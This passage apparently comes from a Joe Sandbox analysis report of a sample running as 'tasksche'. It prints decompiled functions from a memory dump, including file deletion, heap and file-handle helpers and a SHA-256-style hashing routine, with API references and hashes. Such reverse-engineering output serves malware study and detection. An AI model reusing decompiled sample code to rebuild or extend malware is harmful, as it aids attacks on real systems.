					_t18 = _t18 & 0xffffff00 |  *_t19( &_v4100) != 0x00000000;
				}
				return _t18;
			}

0x004090ec
0x004090f6
0x004090fc
0x00409100
0x00409105
0x0040912a
0x0040912a
0x00409132

APIs

DeleteFileW.KERNELBASE(?,?,-00000011,?,0040877F,?,?,00000001,?,?,?,?,?,?,00000000,?), ref: 004090FC

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 0a42f7c6465a65df2585c125a2f12a68c0d7bb240ddda169d7c29578124ac562
Instruction ID: c332a15ca0b0e5e82477794df9822c7aeed54c7470201c7e9f38434531037f1b
Opcode Fuzzy Hash: 0a42f7c6465a65df2585c125a2f12a68c0d7bb240ddda169d7c29578124ac562
Instruction Fuzzy Hash: DBE02B3114122AA7EB00A620DC01FDA3B5C9F043C0F0440737C80E71D1DB75DCE0D9A4

Uniqueness

Uniqueness Score: -1.00%

Function 004096BC Relevance: 1.5, APIs: 1, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004096BC(intOrPtr __edx, WCHAR* _a4, intOrPtr _a8) {
				void* _t11;
				intOrPtr _t21;

				_t21 = _a8;
				 *((char*)(_t21 + 0x1044)) = 0;
				if(E0040A0A4(_a4) == 0) {
					_t11 = E00409476(__edx, 0xffffffff, _a4, _t21); // executed
					if(_t11 == 0xffffffff) {
						goto L1;
					}
					FindClose(_t11); // executed
					 *(_t21 + 0x1040) =  *(_t21 + 0x1040) & 0x00000000;
					 *((char*)(_t21 + 0x100c)) = E0040901C( *((intOrPtr*)(_t21 + 0x1008)));
					 *((char*)(_t21 + 0x100d)) = E00409034( *((intOrPtr*)(_t21 + 0x1008)));
					return 1;
				}
				L1:
				return 0;
			}

0x004096bd
0x004096c5
0x004096d3
0x004096e0
0x004096e8
0x00000000
0x00000000
0x004096ec
0x004096f2
0x00409708
0x00409713
0x00000000
0x0040971b
0x004096d5
0x00000000

APIs

Part of subcall function 0040A0A4: _wcspbrk.LIBCMT ref: 0040A0B5

FindClose.KERNELBASE(00000000,00000800,000000FF,?,?,?,?,00408411,?,?,00000000,?,00000800), ref: 004096EC

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: CloseFind_wcspbrk
String ID:
API String ID: 2190230203-0
Opcode ID: 85123c6e94d2e517bbdffd63dea6bf8ab785228859dafa86eb4c7b41f0ab578b
Instruction ID: c5db38677187ea9b8dec244fb3c8af9ff7d0a6647eff614e001a313c4cd0766c
Opcode Fuzzy Hash: 85123c6e94d2e517bbdffd63dea6bf8ab785228859dafa86eb4c7b41f0ab578b
Instruction Fuzzy Hash: 21F09635005380ABCA225B658404AC77B945F55365F048A1EB1F9621D7C279545ADB26

Uniqueness

Uniqueness Score: -1.00%

Function 00410EDB Relevance: 1.5, APIs: 1, Instructions: 27
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E00410EDB(void* __ecx) {
				long _v8;
				long _v12;
				int _t8;
				void* _t11;
				signed int _t14;

				_t8 = GetProcessAffinityMask( *0x42a24c(__ecx, __ecx),  &_v8,  &_v12); // executed
				if(_t8 == 0) {
					L6:
					return 1;
				}
				_t11 = 0;
				_t14 = 1;
				do {
					if((_v8 & _t14) != 0) {
						_t11 = _t11 + 1;
					}
					_t14 = _t14 + _t14;
				} while (_t14 != 0);
				if(_t11 < 1) {
					goto L6;
				}
				return _t11;
			}

0x00410eef
0x00410ef7
0x00410f0d
0x00000000
0x00410f0f
0x00410efb
0x00410efd
0x00410efe
0x00410f01
0x00410f03
0x00410f03
0x00410f04
0x00410f04
0x00410f0b
0x00000000
0x00000000
0x00410f11

APIs

GetProcessAffinityMask.KERNEL32(00000000,?,?,?,00410F17,00409FF4), ref: 00410EEF

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: AffinityMaskProcess
String ID:
API String ID: 1682748466-0
Opcode ID: 5b6efae98f4fd143c9c11739b7a9d49426725563ed325c59bf560736ad01bde8
Instruction ID: ae3045e16ef29d64dcafac8e7d0c22bbd438388315c71f77e1501110187c073f
Opcode Fuzzy Hash: 5b6efae98f4fd143c9c11739b7a9d49426725563ed325c59bf560736ad01bde8
Instruction Fuzzy Hash: 86E08672A1020AA78F2897A0CD4A9EF32ACEB01215700087BE503C1640EAF8D5D24629

Uniqueness

Uniqueness Score: -1.00%

Function 00407074 Relevance: 1.5, APIs: 1, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E00407074(void* __ebx, intOrPtr __ecx) {
				void* __edi;
				void* __esi;
				void* _t11;
				intOrPtr _t21;
				intOrPtr _t24;
				void* _t26;

				E0041A4DC(0x42966d, _t26);
				_push(__ecx);
				_t24 = __ecx;
				 *((intOrPtr*)(_t26 - 0x10)) = __ecx;
				_t21 =  *((intOrPtr*)(__ecx + 0x4448));
				 *(_t26 - 4) =  *(_t26 - 4) & 0x00000000;
				_t29 = _t21;
				if(_t21 != 0) {
					E004155EF(__ebx, _t21, _t21); // executed
					E0041A4FB(__ebx, _t21, __ecx, _t29, _t21); // executed
				}
				 *(_t26 - 4) =  *(_t26 - 4) | 0xffffffff;
				_t11 = E00401001(_t24 + 0x10,  *(_t26 - 4));
				 *[fs:0x0] =  *((intOrPtr*)(_t26 - 0xc));
				return _t11;
			}

0x00407079
0x0040707e
0x00407080
0x00407083
0x00407086
0x0040708c
0x00407090
0x00407092
0x00407096
0x0040709c
0x004070a1
0x004070a2
0x004070a9
0x004070b3
0x004070bb

APIs

__EH_prolog.LIBCMT ref: 00407079

Part of subcall function 004155EF: __EH_prolog.LIBCMT ref: 004155F4

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 87706284f8ccbc03753738a0be538c99bba682efd2688e5f1f5aa8a82baee0a0
Instruction ID: da238740c98ae75ebc3f5927faf798116ad114c2e9bc9b884e51ec1b39bdab83
Opcode Fuzzy Hash: 87706284f8ccbc03753738a0be538c99bba682efd2688e5f1f5aa8a82baee0a0
Instruction Fuzzy Hash: D1E06D32A11610ABC715AB29C4066EEF3B9EFC0728F10422FA062636C1DBB86D418659

Uniqueness

Uniqueness Score: -1.00%

Function 00409720 Relevance: 1.5, APIs: 1, Instructions: 21
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00409720(void* __ebx, void* __ecx, char _a4) {
				void* __edi;
				intOrPtr _t7;
				void* _t11;
				void* _t12;
				void* _t15;

				_t18 = _a4;
				_t15 = __ecx;
				 *((char*)(__ecx + 8)) = 0;
				if(_a4 == 0) {
					_t4 = __ecx + 0xc;
					 *_t4 =  *(__ecx + 0xc) & 0x00000000;
					__eflags =  *_t4;
				} else {
					_t7 = E0041A0EA(__ebx, _t11, 0x8003, _t18, 0x8003, _t12); // executed
					 *((intOrPtr*)(_t15 + 0xc)) = _t7;
					E0041A820(0x8003, _t7, 0, 0x8003);
				}
				return _t15;
			}

0x00409720
0x00409726
0x00409728
0x0040972c
0x0040974c
0x0040974c
0x0040974c
0x0040972e
0x00409735
0x0040973e
0x00409741
0x00409749
0x00409753

APIs

_memset.LIBCMT ref: 00409741

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: c61d5f3dc6c1f9b97ffe444c65296dc1c5881d1e0fbf0653a527c25b506bb31f
Instruction ID: 57c48ace6bef99692c10c7cc37c4410ce12e8001caaa4568d5ee7d388360cf58
Opcode Fuzzy Hash: c61d5f3dc6c1f9b97ffe444c65296dc1c5881d1e0fbf0653a527c25b506bb31f
Instruction Fuzzy Hash: D7E0CD729053406AD371751D9C04F579AD85B95725F14C82FB089A32C3C1BC5C51C759

Uniqueness

Uniqueness Score: -1.00%

Function 0041EDF7 Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041EDF7(intOrPtr _a4) {
				void* _t6;

				_t6 = HeapCreate(0 | _a4 == 0x00000000, 0x1000, 0); // executed
				 *0x44f848 = _t6;
				if(_t6 != 0) {
					 *0x451420 = 1;
					return 1;
				} else {
					return _t6;
				}
			}

0x0041ee0c
0x0041ee12
0x0041ee19
0x0041ee20
0x0041ee26
0x0041ee1c
0x0041ee1c
0x0041ee1c

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 0041EE0C

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 6c78c704c61e396e770c5c9d5bf39bc32bfab303bf8d18d204e2a82309729daa
Instruction ID: eb53d8fa6b9c670d76401f9b6e634384cdf5b6bc28e7f080834842f41bea832e
Opcode Fuzzy Hash: 6c78c704c61e396e770c5c9d5bf39bc32bfab303bf8d18d204e2a82309729daa
Instruction Fuzzy Hash: E6D05E366503485ADB106F716C09B763BDCD384396F104436BC1DC6150F775C5A09A48

Uniqueness

Uniqueness Score: -1.00%

Function 00408C5A Relevance: 1.5, APIs: 1, Instructions: 16
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00408C5A(void* __ecx) {
				void* _t2;
				long _t3;

				_t2 =  *(__ecx + 4);
				if(_t2 != 0xffffffff) {
					_t3 = GetFileType(_t2); // executed
					if(_t3 == 2 || _t3 == 3) {
						return 1;
					} else {
						return 0;
					}
				} else {
					return 0;
				}
			}

0x00408c5a
0x00408c60
0x00408c66
0x00408c6f
0x00408c7c
0x00408c76
0x00408c78
0x00408c78
0x00408c62
0x00408c64
0x00408c64

APIs

GetFileType.KERNELBASE(?,00408CDA,?,00408EB0,?,00000000,?,?,00000000), ref: 00408C66

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: b9077224b9f88db5cd0ce6d94ac7233058a1c10921077028cad7c3ce69d3e2a2
Instruction ID: 2361e1c995e4a541e26ad64c94d2af3b89e31d8e4072a4a2db2c19a8efa4df55
Opcode Fuzzy Hash: b9077224b9f88db5cd0ce6d94ac7233058a1c10921077028cad7c3ce69d3e2a2
Instruction Fuzzy Hash: 8EC0127151610056DF2046385A8845B376687433667789FF9E071D12E5CB3ECC56B025

Uniqueness

Uniqueness Score: -1.00%

Function 0041C993 Relevance: 1.5, APIs: 1, Instructions: 14
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 75%

			E0041C993(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t9;
				void* _t18;

				_push(0xc);
				_push(0x42d6f8);
				E0041FA9C(__ebx, __edi, __esi);
				E00421501();
				 *(_t18 - 4) =  *(_t18 - 4) & 0x00000000;
				_t9 = E0041C8A8(__edx,  *((intOrPtr*)(_t18 + 8))); // executed
				 *((intOrPtr*)(_t18 - 0x1c)) = _t9;
				 *(_t18 - 4) = 0xfffffffe;
				E0041C9C9();
				return E0041FAE1( *((intOrPtr*)(_t18 - 0x1c)));
			}

0x0041c993
0x0041c995
0x0041c99a
0x0041c99f
0x0041c9a4
0x0041c9ab
0x0041c9b1
0x0041c9b4
0x0041c9bb
0x0041c9c8

APIs

Part of subcall function 00421501: __lock.LIBCMT ref: 00421503

__onexit_nolock.LIBCMT ref: 0041C9AB

Part of subcall function 0041C8A8: __decode_pointer.LIBCMT ref: 0041C8B7
Part of subcall function 0041C8A8: __decode_pointer.LIBCMT ref: 0041C8C7
Part of subcall function 0041C8A8: __msize.LIBCMT ref: 0041C8E5
Part of subcall function 0041C8A8: __realloc_crt.LIBCMT ref: 0041C909
Part of subcall function 0041C8A8: __realloc_crt.LIBCMT ref: 0041C91F
Part of subcall function 0041C8A8: __encode_pointer.LIBCMT ref: 0041C931
Part of subcall function 0041C8A8: __encode_pointer.LIBCMT ref: 0041C93F
Part of subcall function 0041C8A8: __encode_pointer.LIBCMT ref: 0041C94A

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: __encode_pointer$__decode_pointer__realloc_crt$__lock__msize__onexit_nolock
String ID:
API String ID: 1316407801-0
Opcode ID: b55de3884da01d1a9e97354b2d40eb13cce2566ab91c9d35cf75a163aba5e344
Instruction ID: e58e71dbedfae0fd7c0196075773fdb904cc218e0a70426679e08a5f69f6d609
Opcode Fuzzy Hash: b55de3884da01d1a9e97354b2d40eb13cce2566ab91c9d35cf75a163aba5e344
Instruction Fuzzy Hash: 8ED05B71E41605EACB10BFE6DC427CD77706F44315F60416FB018550D2C67C45C14A1D

Uniqueness

Uniqueness Score: -1.00%

Function 0040D513 Relevance: 1.5, APIs: 1, Instructions: 11
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040D513(void* __edx, intOrPtr _a20, intOrPtr _a28) {
				void* _t5;

				SendDlgItemMessageW( *0x441844, 0x6a, 0x402, E0040D1DE(_a20, _a28), 0); // executed
				_t5 = E0040D116(); // executed
				return _t5;
			}

0x0040d530
0x0040d536
0x0040d53b

APIs

SendDlgItemMessageW.USER32(0000006A,00000402,00000000,?,?,00000000,0041170A,?,?,?,?,?,?,?,?), ref: 0040D530

Part of subcall function 0040D116: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,00414539,00000001,?), ref: 0040D127
Part of subcall function 0040D116: DispatchMessageW.USER32(?,?,?,?,?,?,?,?,00414539,00000001,?), ref: 0040D14C

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: Message$DispatchItemPeekSend
String ID:
API String ID: 1946566198-0
Opcode ID: 7040c51d5953534f53b945be8071fa726febfab1a70e776a765f2f75df90e843
Instruction ID: 888b2871e718dea131dfcf0ec1cbc21fe8f041a13ed789b986bd41985b0bed4c
Opcode Fuzzy Hash: 7040c51d5953534f53b945be8071fa726febfab1a70e776a765f2f75df90e843
Instruction Fuzzy Hash: FDC01235240300ABE7117B50DD07F1A3A62BB88B09F808039BA81380F2CEB648369A0A

Uniqueness

Uniqueness Score: -1.00%

Function 00408C47 Relevance: 1.5, APIs: 1, Instructions: 7
fileCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00408C47(void* __ecx) {
				int _t2;

				_t2 = SetEndOfFile( *(__ecx + 4)); // executed
				asm("sbb eax, eax");
				return  ~(_t2 - 1) + 1;
			}

0x00408c4a
0x00408c53
0x00408c56

APIs

SetEndOfFile.KERNELBASE(?,004080D7,?,?,?,?,?,?), ref: 00408C4A

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: File
String ID:
API String ID: 749574446-0
Opcode ID: 372b206049e22359e890f019f69c17f88631756899d3b8a56b0e056d033f7bf1
Instruction ID: 463f2a0b6f7528456a39aa395305c1415068e572747894341c9f749ccc5f34b3
Opcode Fuzzy Hash: 372b206049e22359e890f019f69c17f88631756899d3b8a56b0e056d033f7bf1
Instruction Fuzzy Hash: 80B012703E0006878E102B30CD084143910D71130630041B0600AC6061CB13C0135611

Uniqueness

Uniqueness Score: -1.00%

Function 00419C88 Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E00419C88(WCHAR* _a4) {
				signed int _t2;

				_t2 = SetCurrentDirectoryW(_a4); // executed
				asm("sbb eax, eax");
				return  ~( ~_t2);
			}

0x00419c8c
0x00419c94
0x00419c98

APIs

SetCurrentDirectoryW.KERNELBASE(?,0040D8E5,0042A65C,00000000,?,00000006,?,00000800), ref: 00419C8C

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: 35c8f440b0c787f752f8f5ff34d68e699b4f54a7e8ae052c3817328c3539a25c
Instruction ID: 2a7281b05ebb75ae791a00df68b116ffeccc810d55834c007acaed3bb23dd98c
Opcode Fuzzy Hash: 35c8f440b0c787f752f8f5ff34d68e699b4f54a7e8ae052c3817328c3539a25c
Instruction Fuzzy Hash: 50A012302940064F8A100B30CC0D82577506760702F0096307002C10A4CB304430A505

Uniqueness

Uniqueness Score: -1.00%

Function 0041E75F Relevance: 1.5, APIs: 1, Instructions: 4
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0041E75F() {
				void* _t1;

				_t1 = E0041E6ED(0); // executed
				return _t1;
			}

0x0041e761
0x0041e767

APIs

__encode_pointer.LIBCMT ref: 0041E761

Part of subcall function 0041E6ED: RtlEncodePointer.NTDLL(00000000,?,0041E766,00000000,00425725,0044F9F8,00000000,00000314,?,0042190C,0044F9F8,0042B8D0,00012010), ref: 0041E754

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: EncodePointer__encode_pointer
String ID:
API String ID: 4150071819-0
Opcode ID: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction ID: 4883469bbd1ea34a64006740ed19a0f762d603c0c8182deb4ccf55bf016c8140
Opcode Fuzzy Hash: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004106F4 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 225
COMMONCrypto

Download Yara Rule

C-Code - Quality: 83%

			E004106F4(signed int* __esi) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				intOrPtr _v236;
				char _v240;
				intOrPtr _v244;
				intOrPtr _v248;
				intOrPtr _v252;
				intOrPtr _v256;
				intOrPtr _v260;
				intOrPtr _v264;
				intOrPtr _v268;
				intOrPtr _v272;
				intOrPtr _v276;
				intOrPtr _v280;
				intOrPtr _v284;
				intOrPtr _v288;
				intOrPtr _v292;
				char _v296;
				unsigned int* _t154;
				void* _t167;
				signed int _t183;
				signed int _t199;
				signed int _t227;
				signed int _t229;
				void* _t234;
				signed int _t236;
				void* _t243;

				if(__esi != 0) {
					_v296 = E0041D291( *(__esi[0xa]));
					_v292 = E0041D291( *((intOrPtr*)(__esi[0xa] + 4)));
					_v288 = E0041D291( *((intOrPtr*)(__esi[0xa] + 8)));
					_v284 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0xc)));
					_v280 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x10)));
					_v276 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x14)));
					_v272 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x18)));
					_v268 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x1c)));
					_v264 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x20)));
					_v260 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x24)));
					_v256 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x28)));
					_v252 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x2c)));
					_t229 = 0x30;
					_v248 = E0041D291( *((intOrPtr*)(__esi[0xa] + _t229)));
					_v244 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x34)));
					_v240 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x38)));
					_v236 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x3c)));
					_t154 =  &_v240;
					_v8 = _t229;
					do {
						asm("rol edi, 0xe");
						asm("ror ebx, 0x7");
						asm("rol ecx, 0xf");
						asm("rol ebx, 0xd");
						_t234 = ( *(_t154 - 0x34) ^  *(_t154 - 0x34) ^  *(_t154 - 0x34) >> 0x00000003) + ( *_t154 ^  *_t154 ^  *_t154 >> 0x0000000a) +  *((intOrPtr*)(_t154 - 0x38));
						_t154 =  &(_t154[1]);
						_t40 =  &_v8;
						 *_t40 = _v8 - 1;
						_t154[1] = _t234 +  *((intOrPtr*)(_t154 - 0x18));
					} while ( *_t40 != 0);
					_t236 =  *__esi;
					_t227 = __esi[4];
					_v8 = _v8 & 0x00000000;
					_v36 = __esi[1];
					_v32 = __esi[2];
					_v28 = __esi[3];
					_v20 = __esi[5];
					_v16 = __esi[6];
					_v40 = _t236;
					_v12 = __esi[7];
					do {
						asm("ror eax, 0xb");
						asm("rol ecx, 0x7");
						asm("ror ecx, 0x6");
						_v8 = _v8 + 4;
						_t167 = (_t227 ^ _t227 ^ _t227) + ( !_t227 & _v16 ^ _v20 & _t227) +  *((intOrPtr*)(_v8 + 0x42ac30)) +  *((intOrPtr*)(_t243 + _v8 - 0x124)) + _v12;
						_v12 = _v16;
						_v16 = _v20;
						_v20 = _t227;
						_t227 = _t167 + _v28;
						asm("ror ecx, 0xd");
						asm("rol ebx, 0xa");
						asm("ror ebx, 0x2");
						_t75 =  &_v36; // 0x405a40
						_t77 =  &_v36; // 0x405a40
						_t81 =  &_v36; // 0x405a40
						_t199 =  *_t81;
						_v28 = _v32;
						_v36 = _v40;
						_t236 = (_t236 ^ _t236 ^ _t236) + (( *_t75 ^ _t236) & _v32 ^  *_t77 & _v40) + _t167;
						_v32 = _t199;
						_v40 = _t236;
					} while (_v8 < 0x100);
					_t88 =  &_v36; // 0x405a40
					 *__esi =  *__esi + _t236;
					__esi[1] = __esi[1] +  *_t88;
					__esi[2] = __esi[2] + _t199;
					__esi[3] = __esi[3] + _v28;
					__esi[4] = __esi[4] + _t227;
					__esi[5] = __esi[5] + _v20;
					__esi[6] = __esi[6] + _v16;
					_t183 = __esi[7] + _v12;
					__esi[7] = _t183;
					return _t183;
				} else {
					E0040CFA3( &_v40, 0x20);
					return E0040CFA3( &_v296, 0x100);
				}
			}

0x004106ff
0x0041072b
0x0041073e
0x00410751
0x00410764
0x00410777
0x0041078a
0x0041079d
0x004107b0
0x004107c3
0x004107d6
0x004107e9
0x004107fc
0x00410807
0x00410811
0x00410824
0x00410837
0x0041084a
0x00410853
0x00410859
0x0041085c
0x00410863
0x0041086b
0x00410874
0x00410879
0x00410885
0x00410888
0x0041088e
0x0041088e
0x00410891
0x00410891
0x00410899
0x0041089b
0x0041089e
0x004108a2
0x004108a8
0x004108ae
0x004108b4
0x004108ba
0x004108c0
0x004108c3
0x004108c6
0x004108cb
0x004108d0
0x004108d9
0x004108f2
0x00410900
0x00410903
0x00410909
0x00410911
0x00410914
0x00410919
0x0041091c
0x00410923
0x00410928
0x00410930
0x00410944
0x00410944
0x00410947
0x0041094d
0x00410950
0x00410953
0x00410956
0x00410956
0x00410961
0x00410966
0x00410970
0x00410978
0x00410983
0x0041098b
0x00410996
0x004109a1
0x004109a7
0x004109aa
0x004109af
0x00410701
0x00410707
0x0041071e
0x0041071e

APIs

__byteswap_ulong.LIBCMT ref: 00410726
__byteswap_ulong.LIBCMT ref: 00410739
__byteswap_ulong.LIBCMT ref: 0041074C
__byteswap_ulong.LIBCMT ref: 0041075F
__byteswap_ulong.LIBCMT ref: 00410772
__byteswap_ulong.LIBCMT ref: 00410785
__byteswap_ulong.LIBCMT ref: 00410798
__byteswap_ulong.LIBCMT ref: 004107AB
__byteswap_ulong.LIBCMT ref: 004107BE
__byteswap_ulong.LIBCMT ref: 004107D1
__byteswap_ulong.LIBCMT ref: 004107E4
__byteswap_ulong.LIBCMT ref: 004107F7
__byteswap_ulong.LIBCMT ref: 0041080C
__byteswap_ulong.LIBCMT ref: 0041081F
__byteswap_ulong.LIBCMT ref: 00410832
__byteswap_ulong.LIBCMT ref: 00410845

Strings

@Z@, xrefs: 00410928, 00410930, 00410944, 00410961

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: __byteswap_ulong
String ID: @Z@
API String ID: 2309504477-3109265564
Opcode ID: 3d995ba0cc5bd3afd1912a8f52df84b91350d78957cf3c3d8552aa4fe151a300
Instruction ID: 1dc3a99616fea8f09d0a2898b21a56a39af3494018e3c7a499627515aa5f83aa
Opcode Fuzzy Hash: 3d995ba0cc5bd3afd1912a8f52df84b91350d78957cf3c3d8552aa4fe151a300
Instruction Fuzzy Hash: 869119B1A006148FCB24DF5AC881A9EB7F1FF48308F1445AEE59AE7721D734E9948F48

Uniqueness

Uniqueness Score: -1.00%

Function 00401CC1 Relevance: 5.3, APIs: 3, Instructions: 769
COMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E00401CC1(intOrPtr* __ecx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t334;
				unsigned int _t340;
				signed int _t344;
				signed int _t345;
				void* _t347;
				signed int _t349;
				char _t369;
				signed short _t376;
				signed int _t382;
				void* _t388;
				signed int _t389;
				signed int _t392;
				void* _t396;
				signed char _t401;
				char _t406;
				signed int _t414;
				char _t415;
				signed int _t418;
				signed int _t419;
				void* _t420;
				void* _t422;
				signed int _t429;
				signed short _t434;
				signed short _t439;
				signed char _t444;
				signed int _t448;
				signed int _t454;
				signed int _t461;
				signed int _t468;
				void* _t469;
				void* _t471;
				short* _t472;
				void* _t481;
				intOrPtr _t488;
				void* _t492;
				signed char _t495;
				signed int _t497;
				void* _t500;
				void* _t503;
				intOrPtr* _t509;
				signed int _t521;
				signed int _t526;
				signed int* _t530;
				unsigned int _t531;
				signed int _t533;
				signed int _t545;
				char _t556;
				char _t557;
				signed int _t559;
				signed int _t560;
				signed int* _t576;
				signed int _t620;
				signed int _t621;
				signed int _t622;
				signed int _t644;
				signed int _t646;
				signed int _t650;
				signed int _t652;
				void* _t653;
				void* _t656;
				signed int _t659;
				signed int _t660;
				signed int _t662;
				signed int _t665;
				signed int _t666;
				void* _t667;
				signed int _t669;
				signed int _t670;
				signed int _t671;
				unsigned int _t676;
				signed int _t677;
				intOrPtr _t680;
				signed int _t681;
				signed int _t683;
				void* _t685;
				signed int _t694;

				E0041A4DC(0x429562, _t685);
				E0041AAF0(0x2874);
				_push(_t677);
				_t509 = __ecx;
				E0040B736(_t685 - 0x48, __ecx);
				_t650 = 0;
				 *((intOrPtr*)(_t685 - 4)) = 0;
				if( *((char*)(__ecx + 0xb05c)) == 0) {
					L9:
					 *((char*)(_t685 - 0xe)) = 0;
					L11:
					E0040B4C8(_t685 - 0x48, _t650, 7);
					__eflags =  *((intOrPtr*)(_t685 - 0x34)) - _t650;
					if(__eflags == 0) {
						L5:
						E00401C37(_t509, _t644, _t696);
						L6:
